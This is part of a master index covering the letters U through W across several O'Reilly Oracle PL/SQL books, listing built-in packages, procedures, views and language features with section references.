3.1.1.1. DBMS_PIPE programs, Oracle Built-in Packages
3.1.4.4. The DBMS_PIPE.UNPACK_MESSAGE procedure, Oracle Built-in Packages
C.10.10. The UNPACK_MESSAGE procedure, Oracle PL/SQL Programming
UNPACK_MESSAGE_RAW procedure
3.1.1.1. DBMS_PIPE programs, Oracle Built-in Packages
3.1.4.5. The DBMS_PIPE.UNPACK_MESSAGE_RAW procedure, Oracle Built-in Packages
UNPACK_MESSAGE_ROWID procedure
3.1.1.1. DBMS_PIPE programs, Oracle Built-in Packages
3.1.4.6. The DBMS_PIPE.UNPACK_MESSAGE_ROWID procedure, Oracle Built-in Packages
UNREGISTER_PROPAGATOR procedure
17.2.1.1. DBMS_DEFER_SYS programs, Oracle Built-in Packages
17.2.6.9. The DBMS_DEFER_SYS.UNREGISTER_PROPAGATOR procedure (Oracle8 only), Oracle Built-in Packages
UNREGISTER_SNAPSHOT procedure
14.1.1. Getting Started with DBMS_SNAPSHOT, Oracle Built-in Packages
14.1.6.2. The DBMS_SNAPSHOT.UNREGISTER_SNAPSHOT procedures (Oracle8 only), Oracle Built-in Packages
UNSCHEDULE_EXECUTION procedure
17.2.1.1. DBMS_DEFER_SYS programs, Oracle Built-in Packages
17.2.5.4. The DBMS_DEFER_SYS.UNSCHEDULE_EXECUTION procedure, Oracle Built-in Packages
UNSCHEDULE_PROPAGATION procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only), Oracle Built-in Packages
5.5.5.2. The DBMS_AQADM.UNSCHEDULE_PROPAGATION procedure , Oracle Built-in Packages
UNSCHEDULE_PURGE procedure
17.2.1.1. DBMS_DEFER_SYS programs, Oracle Built-in Packages
17.2.6.6. The DBMS_DEFER_SYS.UNSCHEDULE_PURGE procedure (Oracle8 only), Oracle Built-in Packages
UNSCHEDULE_PUSH procedure
17.2.1.1. DBMS_DEFER_SYS programs, Oracle Built-in Packages
17.2.6.7. The DBMS_DEFER_SYS.UNSCHEDULE_PUSH procedure (Oracle8 only), Oracle Built-in Packages
UNUSED_SPACE procedure
12.1.1. Getting Started with DBMS_SPACE, Oracle Built-in Packages
12.1.2.2. The DBMS_SPACE.UNUSED_SPACE procedure, Oracle Built-in Packages
UPD column, *_POLICIES data dictionary views: 8.4.3. Context Data Dictionary Views, Guide to Oracle8i Features
UPDATE statement
(see also DML statements)
19.5.3. Executing dynamic UPDATEs, Advanced Oracle PL/SQL Programming with Packages
3.2.2. Some Rules and Restrictions, Guide to Oracle8i Features
4.2.3.2. The VARCHAR2 and VARCHAR datatypes, Oracle PL/SQL Programming
10.3. PL/SQL Tables and DML Statements, Oracle PL/SQL Programming
array processing and: 2.5.6.3. Using array processing to update, Oracle Built-in Packages
THE function with: 19.5.1. The THE Pseudo-function, Oracle PL/SQL Programming
WHERE CURRENT OF clause: 6.11.2. The WHERE CURRENT OF Clause, Oracle PL/SQL Programming
UPDATE_OBJECT procedure: 9.2.5.4. The UTL_REF.UPDATE_OBJECT procedure, Oracle Built-in Packages
UPPER function: 11.1.16. The UPPER function, Oracle PL/SQL Programming
URLs: 2.2.5. The Uniform Resource Locator, Oracle Web Applications
WebDB dashboard: 3.1.3.1. User-uploaded content, Oracle Web Applications
USER function: 13.3.8. The USER function, Oracle PL/SQL Programming
USERENV function: 13.3.9. The USERENV function, Oracle PL/SQL Programming
USER_DEPENDENCIES view
18.2.1. Knowing What You've Got, Advanced Oracle PL/SQL Programming with Packages
23.6.1. Displaying Object Dependencies, Oracle PL/SQL Programming
USER_ERRORS view
9.6.2. Examining Loaded Java Elements, Guide to Oracle8i Features
15.1.2. What SHOW ERRORS Does, Advanced Oracle PL/SQL Programming with Packages
USER_EXPORT procedure
13.1.1. DBMS_JOB Programs, Oracle Built-in Packages
13.2.8.1. The DBMS_JOB.USER_EXPORT procedure, Oracle Built-in Packages
C.5.9. The USER_EXPORT procedure, Oracle PL/SQL Programming
USER_JOBS view: 13.3.2. Viewing Job Information in the Data Dictionary, Oracle Built-in Packages
USER_OBJECTS view
9.6.2. Examining Loaded Java Elements, Guide to Oracle8i Features
2.5.1. A Generic Drop_Object Procedure, Oracle Built-in Packages
23.6.2. Displaying Information About Stored Objects, Oracle PL/SQL Programming
USER_OBJECT_SIZE view
1.4.3.1. Managing packages in shared memory, Advanced Oracle PL/SQL Programming with Packages
23.6.3. Analyzing the Size of PL/SQL Code, Oracle PL/SQL Programming
USER_POLICIES data dictionary view: 8.4.3. Context Data Dictionary Views, Guide to Oracle8i Features
USER_QUEUES view
5.1.8. Data Dictionary Views, Oracle Built-in Packages
5.5.2.3. The DBMS_AQADM.ALTER_QUEUE procedure, Oracle Built-in Packages
USER_QUEUE_TABLES view: 5.6.2.1. The DBA_QUEUE_TABLES view, Oracle Built-in Packages
USER_SOURCE view
5.15.4. Managing the source repository, Advanced Oracle PL/SQL Programming with Packages
18.2.1. Knowing What You've Got, Advanced Oracle PL/SQL Programming with Packages
17.5.2. Locating Text in the Data Dictionary, Advanced Oracle PL/SQL Programming with Packages
23.6.4. Displaying and Searching Source Code, Oracle PL/SQL Programming
9.6.2. Examining Loaded Java Elements, Guide to Oracle8i Features
USE_ROLLBACK_SEGMENT procedure
4.2.1.1. DBMS_TRANSACTION programs, Oracle Built-in Packages
4.2.4.5. The DBMS_TRANSACTION.USE_ROLLBACK_SEGMENT procedure, Oracle Built-in Packages
C.15.13. The USE_ROLLBACK_SEGMENT procedure, Oracle PL/SQL Programming
USING clause
4.2.2. The OPEN FOR Statement, Guide to Oracle8i Features
4.2.1. The EXECUTE IMMEDIATE Statement, Guide to Oracle8i Features
4.3.2. The USING Clause in OPEN FOR, Guide to Oracle8i Features
UTLBSTAT, UTLESTAT scripts: 25.1. Analyzing Program Performance, Oracle PL/SQL Programming
UTL_FILE package
(see also specific program names)
1.5.1. Builtin Packages, Advanced Oracle PL/SQL Programming with Packages
5.11. PLVfile: Operating System I/O Manager, Advanced Oracle PL/SQL Programming with Packages
13. PLVfile: Reading and Writing Operating System Files, Advanced Oracle PL/SQL Programming with Packages
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
6.2. UTL_FILE: Reading and Writing Server-side Files, Oracle Built-in Packages
6.2.1.1. UTL_FILE programs, Oracle Built-in Packages
9.9.1. Extending File I/O Capabilities, Guide to Oracle8i Features
C.17. UTL_FILE, Oracle PL/SQL Programming
I/O errors: 6.2.6.1. Handling file I/O errors, Oracle Built-in Packages
creating: 6.2.1. Getting Started with UTL_FILE, Oracle Built-in Packages
examples: 6.2.7. UTL_FILE Examples, Oracle Built-in Packages
exceptions
6.2.6.1. Handling file I/O errors, Oracle Built-in Packages
6.2.1.5. UTL_FILE exceptions, Oracle Built-in Packages
GET_LINE enhancements for: 6.2.7.1. Enhancing UTL_FILE.GET_LINE, Oracle Built-in Packages
closing files and: 6.2.5.2. The UTL_FILE.FCLOSE_ALL procedure, Oracle Built-in Packages
existence of files (example): 6.2.7.2. Creating a file, Oracle Built-in Packages
format strings for PUTF: 6.2.4.4. The UTL_FILE.PUTF procedure, Oracle Built-in Packages
getting started: 6.2.1.2. Trying out UTL_FILE, Oracle Built-in Packages
pathname support (enhancement): 6.2.6.4. Adding support for paths, Oracle Built-in Packages
privileges
6.2.1. Getting Started with UTL_FILE, Oracle Built-in Packages
6.2.1.3. File security, Oracle Built-in Packages
processing flow: 6.2.1.8. The UTL_FILE process flow, Oracle Built-in Packages
programs contained in: 6.2.1.1. UTL_FILE programs, Oracle Built-in Packages
restrictions: 6.2.1.7. UTL_FILE restrictions and limitations, Oracle Built-in Packages
searching files (example): 6.2.7.4. Searching a file for a string, Oracle Built-in Packages
string size maximum: 6.2.4. Writing to Files, Oracle Built-in Packages
tips on using: 6.2.6. Tips on Using UTL_FILE, Oracle Built-in Packages
UTL_RAW package
(see also specific program names)
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
9.2. UTL_RAW: Manipulating Raw Data, Oracle Built-in Packages
9.2.1.1. UTL_RAW programs, Oracle Built-in Packages
National Language Support and: 9.2. UTL_RAW: Manipulating Raw Data, Oracle Built-in Packages
bitmasks and: 9.2.2.3. Bit-fiddling, Oracle Built-in Packages
coercions: 9.2.2.1. Conversion and coercion, Oracle Built-in Packages
conversions
9.2.2.1. Conversion and coercion, Oracle Built-in Packages
9.2.3.5. The UTL_RAW.CAST_TO_RAW function, Oracle Built-in Packages
9.2.3.9. The UTL_RAW.CONVERT function, Oracle Built-in Packages
creating: 9.2.1. Getting Started with UTL_RAW, Oracle Built-in Packages
exceptions: 9.2.1.1. UTL_RAW programs, Oracle Built-in Packages
programs contained in: 9.2.1.1. UTL_RAW programs, Oracle Built-in Packages
replication and: 9.2. UTL_RAW: Manipulating Raw Data, Oracle Built-in Packages
UTL_REF package
(see also specific program names)
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
9.2.4. UTL_REF: Referencing Objects (Oracle8.0.4), Oracle Built-in Packages
9.2.4.1. Getting Started with UTL_REF, Oracle Built-in Packages
creating: 9.2.4.1. Getting Started with UTL_REF, Oracle Built-in Packages
example: 9.2.6. UTL_REF Example, Oracle Built-in Packages
exceptions: 9.2.4.1. Getting Started with UTL_REF, Oracle Built-in Packages
privileges: 9.2.4.1. Getting Started with UTL_REF, Oracle Built-in Packages
programs contained in: 9.2.4.1. Getting Started with UTL_REF, Oracle Built-in Packages
Unified Modeling Lanuage: 18.1.4.3. Inheritance , Oracle PL/SQL Programming
unconstrained datatypes: 4.6. Programmer-Defined Subtypes, Oracle PL/SQL Programming
unconstrained declaration: (see parameters)
undefined table rows: 10.5.2. Referencing an Undefined Row, Oracle PL/SQL Programming
underscore (_): 5.7.5.1. Wildcarded correlation identifiers, Oracle Built-in Packages
unhandled exceptions: (see exceptions)
uninstalling PL/SQL: 4.4.5. Uninstalling PL/Vision, Advanced Oracle PL/SQL Programming with Packages
unique_id function
11.1.5.1. Adding value to DBMS_SESSION, Oracle Built-in Packages
11.1.5.2. The unique_id function, Oracle Built-in Packages
uniqueness conflicts
(see also insert conflicts)
16.5.1. About Resolution Methods, Oracle Built-in Packages
resolution methods: 16.5.1. About Resolution Methods, Oracle Built-in Packages
unlocking records: 6.11.1. Releasing Locks with COMMIT, Oracle PL/SQL Programming
unmodifiable views: 6.1. Triggers on Nested Table View Columns, Guide to Oracle8i Features
unnamed constants: (see literals)
unpack_all_items procedure: 3.1.4.7. The DBMS_PIPE.NEXT_ITEM_TYPE function, Oracle Built-in Packages
unpack_to_tbl procedure: 3.1.7.3. The dbpipe utility package, Oracle Built-in Packages
unpinning code from memory: 1.4.3.1. Managing packages in shared memory, Advanced Oracle PL/SQL Programming with Packages
unqualified package references: 1.4.2.1. Unqualified package references, Advanced Oracle PL/SQL Programming with Packages
unused_blocks function: 12.1.3.1. The segspace package, Oracle Built-in Packages
upcexc package: 22.2.1.2. Tired fingers, buggy code, Advanced Oracle PL/SQL Programming with Packages
upd function: 10.2.3.2. Using psdesc.args as a quality assurance tool, Oracle Built-in Packages
updarray.sp : 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure , Oracle Built-in Packages
update conflicts: 16. Conflict Resolution, Oracle Built-in Packages
dropping priority groups and conflict resolution: 16.3.2.2. The DBMS_REPCAT.DROP_PRIORITY_GROUP procedure, Oracle Built-in Packages
resolution methods: 16.5.1. About Resolution Methods, Oracle Built-in Packages
update_check parameter, ADD_POLICY procedure: 7.3.4. ADD_POLICY: Adding a Policy, Guide to Oracle8i Features
update_row procedure: 7.3.9. Tracking Long-Running Processes, Oracle Built-in Packages
upddelist.sp : 10.1.2.4. The DBMS_UTILITY.COMMA_TO_TABLE procedure, Oracle Built-in Packages
upgrading code: 1.6.1.6. Hide weaknesses to facilitate upgrades and fixes., Advanced Oracle PL/SQL Programming with Packages
upper_bound, FORALL statement: 5.2. Bulk DML with the FORALL Statement, Guide to Oracle8i Features
uppercase: (see case)
usage: (see performance analysis)
use subdirectory
4.3.3. Beginning the Installation, Advanced Oracle PL/SQL Programming with Packages
4.6.3. Contents of the use Subdirectory, Advanced Oracle PL/SQL Programming with Packages
usecmnt procedure: 16.3.6. Generating Comments, Advanced Oracle PL/SQL Programming with Packages
usecor procedure: 16.3.9. Including CREATE OR REPLACE, Advanced Oracle PL/SQL Programming with Packages
useexc procedure: 16.3.5. Using the PLVexc Exception Handler, Advanced Oracle PL/SQL Programming with Packages
usehdr procedure: 16.3.3. Using the Program Header, Advanced Oracle PL/SQL Programming with Packages
usehlp procedure: 16.3.7. Generating Online Help Text Stubs, Advanced Oracle PL/SQL Programming with Packages
useln procedure: 16.3.8. Generating Line Numbers, Advanced Oracle PL/SQL Programming with Packages
usemax procedure: 16.3.10. Setting Groups of Toggles, Advanced Oracle PL/SQL Programming with Packages
usemin procedure: 16.3.10. Setting Groups of Toggles, Advanced Oracle PL/SQL Programming with Packages
user accounts: (see advanced replication, user accounts)
user queues: 5.1.5. A Glossary of Terms, Oracle Built-in Packages
user role (AQ): 5.2.3. Authorizing Accounts to Use Oracle AQ, Oracle Built-in Packages
user-defined exception: 7.2.4. Format of Collected Data , Guide to Oracle8i Features
user-defined objects: 4.1. DBMS_SQL Versus NDS, Guide to Oracle8i Features
user-level events: 6.3. Schema-Level Event Triggers, Guide to Oracle8i Features
users: 2.5.1. Seeing Developers as Users, Advanced Oracle PL/SQL Programming with Packages
PLVdyn and: 19.5.10. Executing PLVdyn in Different Schemas, Advanced Oracle PL/SQL Programming with Packages
awareness of literals: 2.5.3. Avoiding Need for User to Know and Pass Literals, Advanced Oracle PL/SQL Programming with Packages
customizing program for: 2.8.1.2. Fitting the program to the user , Advanced Oracle PL/SQL Programming with Packages
database
2.5.1. Database Users, Oracle Web Applications
3.1.1.2. Administer WebDB and database security, Oracle Web Applications
distinguishing with DBMS_APPLICATION_INFO: 7.3.8. Session Monitoring and Three-Tier Architectures, Oracle Built-in Packages
ID number of: 13.3.7. The UID function, Oracle PL/SQL Programming
name of: 13.3.8. The USER function, Oracle PL/SQL Programming
session: 13.3.9. The USERENV function, Oracle PL/SQL Programming
sharing PL/Vision: 4.3.6. Granting Access to PL/Vision, Advanced Oracle PL/SQL Programming with Packages
user interface: 3.4. Improving the User Interface, Advanced Oracle PL/SQL Programming with Packages
usetrc procedure: 16.3.4. Using the Program Trace , Advanced Oracle PL/SQL Programming with Packages
using_cmnt function: 16.3.6. Generating Comments, Advanced Oracle PL/SQL Programming with Packages
using_cor function: 16.3.9. Including CREATE OR REPLACE, Advanced Oracle PL/SQL Programming with Packages
using_exc function: 16.3.5. Using the PLVexc Exception Handler, Advanced Oracle PL/SQL Programming with Packages
using_hdr function: 16.3.3. Using the Program Header, Advanced Oracle PL/SQL Programming with Packages
using_hlp function: 16.3.7. Generating Online Help Text Stubs, Advanced Oracle PL/SQL Programming with Packages
using_ln function: 16.3.8. Generating Line Numbers, Advanced Oracle PL/SQL Programming with Packages
using_trc function: 16.3.4. Using the Program Trace , Advanced Oracle PL/SQL Programming with Packages
usrc procedure
5.15.4. Managing the source repository, Advanced Oracle PL/SQL Programming with Packages
12.3.4. High-Level Source Management Programs, Advanced Oracle PL/SQL Programming with Packages
utility modules
C.16. DBMS_UTILITY, Oracle PL/SQL Programming
24.2.8. Leverage Existing Utilities -- Or Build Your Own, Oracle PL/SQL Programming
for analyzing performance: 25.1. Analyzing Program Performance, Oracle PL/SQL Programming
utility packages
4.7. NDS Utility Package, Guide to Oracle8i Features
1.5.2. Prebuilt Packages, Advanced Oracle PL/SQL Programming with Packages
utlfile.sql script: 6.2.1. Getting Started with UTL_FILE, Oracle Built-in Packages
utlraw.sql script: 9.2.1. Getting Started with UTL_RAW, Oracle Built-in Packages
utlref.sql script: 9.2.4.1. Getting Started with UTL_REF, Oracle Built-in Packages

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: V

Index: V

V$ virtual tables, DBMS_APPLICATION_INFO use of: 7.1.2. The V$ Virtual Tables, Oracle Built-in Packages
V$TEMPORARY_LOBS view: 7.5.2.5. Managing temporary LOBs, Guide to Oracle8i Features
VALUE operator: 18.4.2.3. VALUE, Oracle PL/SQL Programming
VALUES list, functions in: 17.1. Looking at the Problem, Oracle PL/SQL Programming
VALUE_ERROR exception
A.1.3. Exception Handling, Advanced Oracle PL/SQL Programming with Packages
13.1.4. Handling UTL_FILE Errors, Advanced Oracle PL/SQL Programming with Packages
8.3.1. Named System Exceptions , Oracle PL/SQL Programming
VARCHAR datatype: 4.2.3.2. The VARCHAR2 and VARCHAR datatypes, Oracle PL/SQL Programming
VARCHAR2 datatype
converting from raw data: 9.2.3.6. The UTL_RAW.CAST_TO_VARCHAR2 function, Oracle Built-in Packages
converting to CHAR: 4.2.3.2. The VARCHAR2 and VARCHAR datatypes, Oracle PL/SQL Programming
converting to/from ROWID: 14.2.1. The CHARTOROWID function, Oracle PL/SQL Programming
converting to raw data
9.2.2.1. Conversion and coercion, Oracle Built-in Packages
9.2.3.5. The UTL_RAW.CAST_TO_RAW function, Oracle Built-in Packages
foreign keys containing: 2.5.2. A Generic Foreign Key Lookup Function, Oracle Built-in Packages
VARCHAR2_ARG procedure: 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure, Oracle Built-in Packages
VARIABLE_VALUE procedure
2.2.3. DBMS_SQL Programs, Oracle Built-in Packages
2.3.8.3. The DBMS_SQL.VARIABLE_VALUE procedure, Oracle Built-in Packages
C.14.16. The VARIABLE_VALUE procedure, Oracle PL/SQL Programming
VARRAYs (variable-size arrays)
19.1. Types of Collections, Oracle PL/SQL Programming
5.1. Context-Switching Problem Scenarios, Guide to Oracle8i Features
CAST pseudo-function for: 19.5.2. The CAST Pseudo-function, Oracle PL/SQL Programming
adding/removing elements of: 19.4.3. Adding and Removing Elements, Oracle PL/SQL Programming
assigning values to elements: 19.4.2. Assigning Values to Elements: Index (Subscript) Considerations, Oracle PL/SQL Programming
defining: 19.2.1. Collections "In the Database", Oracle PL/SQL Programming
initializing: 19.4.1. Initializing Collection Variables, Oracle PL/SQL Programming
integration of: 19.4.1.4. VARRAY integration, Oracle PL/SQL Programming
VERIFY_QUEUE_TYPES procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only), Oracle Built-in Packages
5.5.6.1. The DBMS_AQADM.VERIFY_QUEUE_TYPES procedure, Oracle Built-in Packages
VERIFY_VALUES function, OWA_OPT_LOCK package: 7.3.2.2. Procedures and functions, Oracle Web Applications
VMS: 1.2.1.3. Tracking changes, Oracle Web Applications
VSIZE function: 13.3.10. The VSIZE function, Oracle PL/SQL Programming
Version 1.1, PL/SQL: B. Calling Stored Procedures from PL/SQL Version 1.1, Oracle PL/SQL Programming
Version 2.0, PL/SQL: 1.4.3. PL/SQL Version 2.0, Oracle PL/SQL Programming
RPCs: 23.4. Remote Procedure Calls, Oracle PL/SQL Programming
datatypes: B.2.1. No Server-Side PL/SQL Datatypes, Oracle PL/SQL Programming
stubs: B.1. Using Stubs to Talk to Server-Side PL/SQL, Oracle PL/SQL Programming
Version 8.0, PL/SQL: 1.4.7. PL/SQL Version 8.0, Oracle PL/SQL Programming
Video Information Retrieval (VIR) cartridge: 1.3.9. Oracle interMedia, Oracle Web Applications
Virtual Reality Modeling Language (VRML): 2.1. Resources, Oracle Web Applications
v_currname variable: 11.3. Setting the Current Object, Advanced Oracle PL/SQL Programming with Packages
v_currschema variable: 11.3. Setting the Current Object, Advanced Oracle PL/SQL Programming with Packages
v_currtype variable: 11.3. Setting the Current Object, Advanced Oracle PL/SQL Programming with Packages
v_lastuse variable: 13.5.2. Reading the nth Line, Advanced Oracle PL/SQL Programming with Packages
v_lerowind variable: 5.20.6. Programmatic cursor FOR loop elements, Advanced Oracle PL/SQL Programming with Packages
v_letab variable: 5.20.6. Programmatic cursor FOR loop elements, Advanced Oracle PL/SQL Programming with Packages
v_max_row variable: 9.1. PLVmsg Data Structures, Advanced Oracle PL/SQL Programming with Packages
v_min_row variable: 9.1. PLVmsg Data Structures, Advanced Oracle PL/SQL Programming with Packages
v_repeats variable: 14.4.2. Calculating Overhead of an Action, Advanced Oracle PL/SQL Programming with Packages
v_subst_line variable: 13.3. Creating and Checking Existence of Files, Advanced Oracle PL/SQL Programming with Packages
val function
2.5.5. Indirect Referencing in PL/SQL, Oracle Built-in Packages
2.5.5.2. Retrieving a value, Oracle Built-in Packages
validating
foreign key entry (example): 6.13.1. Validating Foreign Key Entry with Cursors, Oracle PL/SQL Programming
modules: 23.3. Module Validation and Dependency Management, Oracle PL/SQL Programming
parameters and assumptions: 22.2.4. Use Assertion Modules to Validate Parameters and Assumptions, Oracle PL/SQL Programming
value parameter, SET_CONTEXT procedure : 8.3. SET_CONTEXT: Setting Context and Attribute Values, Guide to Oracle8i Features
values
(see also columns; LONG values)
assigning in PL/SQL: 6.2.2.2. Assigning values, Oracle Web Applications
variable arrays
4.1. DBMS_SQL Versus NDS, Guide to Oracle8i Features
5.1. Context-Switching Problem Scenarios, Guide to Oracle8i Features
DBMS_SQL restrictions: 2.4.1. Some Restrictions, Oracle Built-in Packages
objects for: 18.1.2. Some Simple Examples, Oracle PL/SQL Programming
variable persistence: 6.3.6. Variable Persistence Throughout a Session, Oracle Web Applications
variable-size arrays: (see VARRAYs)
variable-width character sets
8.2.1.4. The CLOB datatype, Oracle Built-in Packages
8.2.1.5. The NCLOB datatype, Oracle Built-in Packages
variables
(see also literals, datatypes)
1.6.1.4. Remove hard-coded literals from your application, Advanced Oracle PL/SQL Programming with Packages
1.4.3.2. Expanded set of datatypes for variables and constants, Oracle PL/SQL Programming
4. Variables and Program Data, Oracle PL/SQL Programming
4.2. Scalar Datatypes , Oracle PL/SQL Programming
Boolean: (see Boolean variables)
IN OUT mode: 15.6.2.3. The IN OUT mode, Oracle PL/SQL Programming
NULL: 4.3. NULLs in PL/SQL, Oracle PL/SQL Programming
anchored declarations: 2.10.5. Anchoring to Public Variables, Advanced Oracle PL/SQL Programming with Packages
bind
19.5. DML Operations, Advanced Oracle PL/SQL Programming with Packages
19.5.10.2. Avoiding schema confusion for DDL, Advanced Oracle PL/SQL Programming with Packages
collection variables
19.2.2.1. Collection variables, Oracle PL/SQL Programming
19.4.1. Initializing Collection Variables, Oracle PL/SQL Programming
combining scalars and aggregates: 17.8.2. Combining Scalar and Aggregate Values, Oracle PL/SQL Programming
constants: (see literals)
converting to named constants: 4.7.5. Convert Variables into Named Constants , Oracle PL/SQL Programming
correlation variables: 18.4.2.2. REFs, Oracle PL/SQL Programming
cursor: 1.4.5.2. Cursor variables, Oracle PL/SQL Programming
cursor variables
6.2.1. Types of Cursors, Oracle PL/SQL Programming
6.12. Cursor Variables, Oracle PL/SQL Programming
restrictions on: 6.12.8. Cursor Variable Restrictions, Oracle PL/SQL Programming
declaring
1.4.1. The Package Specification, Advanced Oracle PL/SQL Programming with Packages
2.10.1. Gaining Control of Your Data, Advanced Oracle PL/SQL Programming with Packages
4.4. Variable Declarations, Oracle PL/SQL Programming
in packages: 16.3. The Package Specification, Oracle PL/SQL Programming
default values for: 4.4.3. Default Values, Oracle PL/SQL Programming
fetching into: (see FETCH statement)
global
1.3.4. Object Persistence, Advanced Oracle PL/SQL Programming with Packages
1.6.1.3. Need global data structures for your PL/SQL programs, Advanced Oracle PL/SQL Programming with Packages
2.10.2. Tracing Variable Reads and Writes, Advanced Oracle PL/SQL Programming with Packages
22.5.4. Avoid Global Variables and Data Structures , Oracle PL/SQL Programming
package data as: 16.5.2. Global Within a Single Oracle Session, Oracle PL/SQL Programming
in cursors: 6.4.2. PL/SQL Variables in a Cursor, Oracle PL/SQL Programming
in packages: B.2.2. No Direct Stored Package Variable References, Oracle PL/SQL Programming
reducing memory usage of: 25.2.5. Reducing Memory Usage of Package Variables, Oracle PL/SQL Programming
local
objects for: 18.1.2. Some Simple Examples, Oracle PL/SQL Programming
performance and: 25.4.3. Rely on Local Variables to Improve Performance, Oracle PL/SQL Programming
names for (see identifiers)
naming
4.1. Identifiers, Oracle PL/SQL Programming
4.7.1. Establish Clear Variable Naming Conventions , Oracle PL/SQL Programming
normalization of local: 4.5.1.2. Normalization of local variables, Oracle PL/SQL Programming
package, stored functions and: 17.4. Restrictions on PL/SQL Functions in SQL, Oracle PL/SQL Programming
PL/SQL: 6.2.2. Variables, Oracle Web Applications
public versus private: 1.4.4.1. Public and private data, Advanced Oracle PL/SQL Programming with Packages
recycling: 4.7.3. Avoid Recycling Variables , Oracle PL/SQL Programming
removing unused: 4.7.6. Remove Unused Variables from Programs, Oracle PL/SQL Programming
representing columns: 4.7.7. Use %TYPE When a Variable Represents a Column, Oracle PL/SQL Programming
simplifying logic with: 4.7.9. Use Variables to Hide Complex Logic, Oracle PL/SQL Programming
text: (see strings)
tracing: 2.10.2. Tracing Variable Reads and Writes, Advanced Oracle PL/SQL Programming with Packages
variable arrays: 1.4.7.3. Variable arrays and nested tables, Oracle PL/SQL Programming
vc_arr data structure, OWA_TEXT package: 7.2.1.1. Data structures, Oracle Web Applications
vcmax_len constant: 5.3.2. Anchoring datatypes, Advanced Oracle PL/SQL Programming with Packages
verifying string format: 11.2.5. Verifying String Formats with TRANSLATE, Oracle PL/SQL Programming
version compatibility, setting: 7.6.1. CREATE_QUEUE_TABLE and MIGRATE_QUEUE_TABLE: Setting Version Compatibility and Queue Migration, Guide to Oracle8i Features
version function: 10.1.2.8. The DBMS_UTILITY.DB_VERSION procedure, Oracle Built-in Packages
version, PL/SQL
version 8 enhancements: 25.5. Overview of PL/SQL8 Enhancements, Oracle PL/SQL Programming
versions, Oracle
objects and: 18.1.3. Comparison: Oracle8 Objects and Earlier Features, Oracle PL/SQL Programming
versions, PL/SQL, working with multiple: 1.4.1. Working with Multiple Versions of PL/SQL, Oracle PL/SQL Programming
videos: 1.3.9. Oracle interMedia, Oracle Web Applications
view wizard, WebDB: 3.1.2.1. Building database objects, Oracle Web Applications
view_message procedure, FORUM package
8.3.6. The FORUM Package, Oracle Web Applications
8.3.6.2. Body, Oracle Web Applications
view_results procedure, EMP_SURVEY package
8.2.4. The EMP_SURVEY Package, Oracle Web Applications
8.2.4.2. Body, Oracle Web Applications
views
context data dictionary views: 8.4.3. Context Data Dictionary Views, Guide to Oracle8i Features
dropping: 20.3.2. DROP: Dropping Views and Triggers, Oracle PL/SQL Programming
nested table view columns: 6. New Trigger Features in Oracle8i, Guide to Oracle8i Features
views, object (see object views)
virtual REFs: 20.3.3. MAKE_REF: Returning a Virtual REF, Oracle PL/SQL Programming
DEREF function and: 20.4.2.4. DEREF: Interpreting a virtual REF, Oracle PL/SQL Programming
defining: 20.4.2.1. Defining virtual REFs, Oracle PL/SQL Programming
storing: 20.4.3. Storage of Virtual REFs, Oracle PL/SQL Programming
virtual directories, WebDB: 3.2.3.2. Virtual directory mappings, Oracle Web Applications
virtual machine: 2.2.4. The Web Browser, Oracle Web Applications
virtual tables: 6.2. Cursors in PL/SQL, Oracle PL/SQL Programming
visibility of identifiers: 15.3.5. Scope and Visibility, Oracle PL/SQL Programming
vu2pstab procedure
5.20.8. Miscellaneous PLVobj programs, Advanced Oracle PL/SQL Programming with Packages
11.6. Populating a PL/SQL Table with Object Names, Advanced Oracle PL/SQL Programming with Packages
vw procedure: 5.8.3. Dumping the DDL, Advanced Oracle PL/SQL Programming with Packages

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: W

Index: W

WAITANY procedure
3.2.1.1. DBMS_ALERT programs, Oracle Built-in Packages
3.2.2.6. The DBMS_ALERT.WAITANY procedure, Oracle Built-in Packages
C.2.6. The WAITANY procedure, Oracle PL/SQL Programming
7.6.4.2. LISTEN: Listening for messages, Guide to Oracle8i Features
WAITONE procedure
3.2.1.1. DBMS_ALERT programs, Oracle Built-in Packages
3.2.2.7. The DBMS_ALERT.WAITONE procedure, Oracle Built-in Packages
C.2.7. The WAITONE procedure, Oracle PL/SQL Programming
WAIT_MASTER_LOG procedure
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
15.3.6.2. The DBMS_REPCAT.WAIT_MASTER_LOG procedure, Oracle Built-in Packages
WAN: 1.1. The Internet Grows Up, Oracle Web Applications
WAV format: 1.3.9.2. Multimedia data, Oracle Web Applications
WHAT procedure
C.5.10. The WHAT procedure, Oracle PL/SQL Programming
13.1.1. DBMS_JOB Programs, Oracle Built-in Packages
13.2.6.4. The DBMS_JOB.WHAT procedure, Oracle Built-in Packages
WHEN OTHERS clause
8.2. The Exception Section, Oracle PL/SQL Programming
8.6. Handling Exceptions, Oracle PL/SQL Programming
SQLCODE, SQLERRM functions in: 8.6.3. Using SQLCODE and SQLERRM in WHEN OTHERS Clause, Oracle PL/SQL Programming
1.3.4.1. Package-named system exception, Oracle Built-in Packages
1.3.4.2. Package-defined exception, Oracle Built-in Packages
1.3.4.3. Standard system exception, Oracle Built-in Packages
WHEN clause
(see also exceptions)
6.2.1.4. Checking for specific errors, Guide to Oracle8i Features
8.2. The Exception Section, Oracle PL/SQL Programming
WHERE CURRENT OF cursor variable: 4.5. Working with Objects and Collections, Guide to Oracle8i Features
WHERE clause
5.15.5. Managing the source WHERE clause, Advanced Oracle PL/SQL Programming with Packages
12.4. The Source WHERE Clause, Advanced Oracle PL/SQL Programming with Packages
12.4.4. Cleaning Up the WHERE Clause, Advanced Oracle PL/SQL Programming with Packages
4.1. DBMS_SQL Versus NDS, Guide to Oracle8i Features
6.4.2. PL/SQL Variables in a Cursor, Oracle PL/SQL Programming
array updating and: 2.5.6.3. Using array processing to update, Oracle Built-in Packages
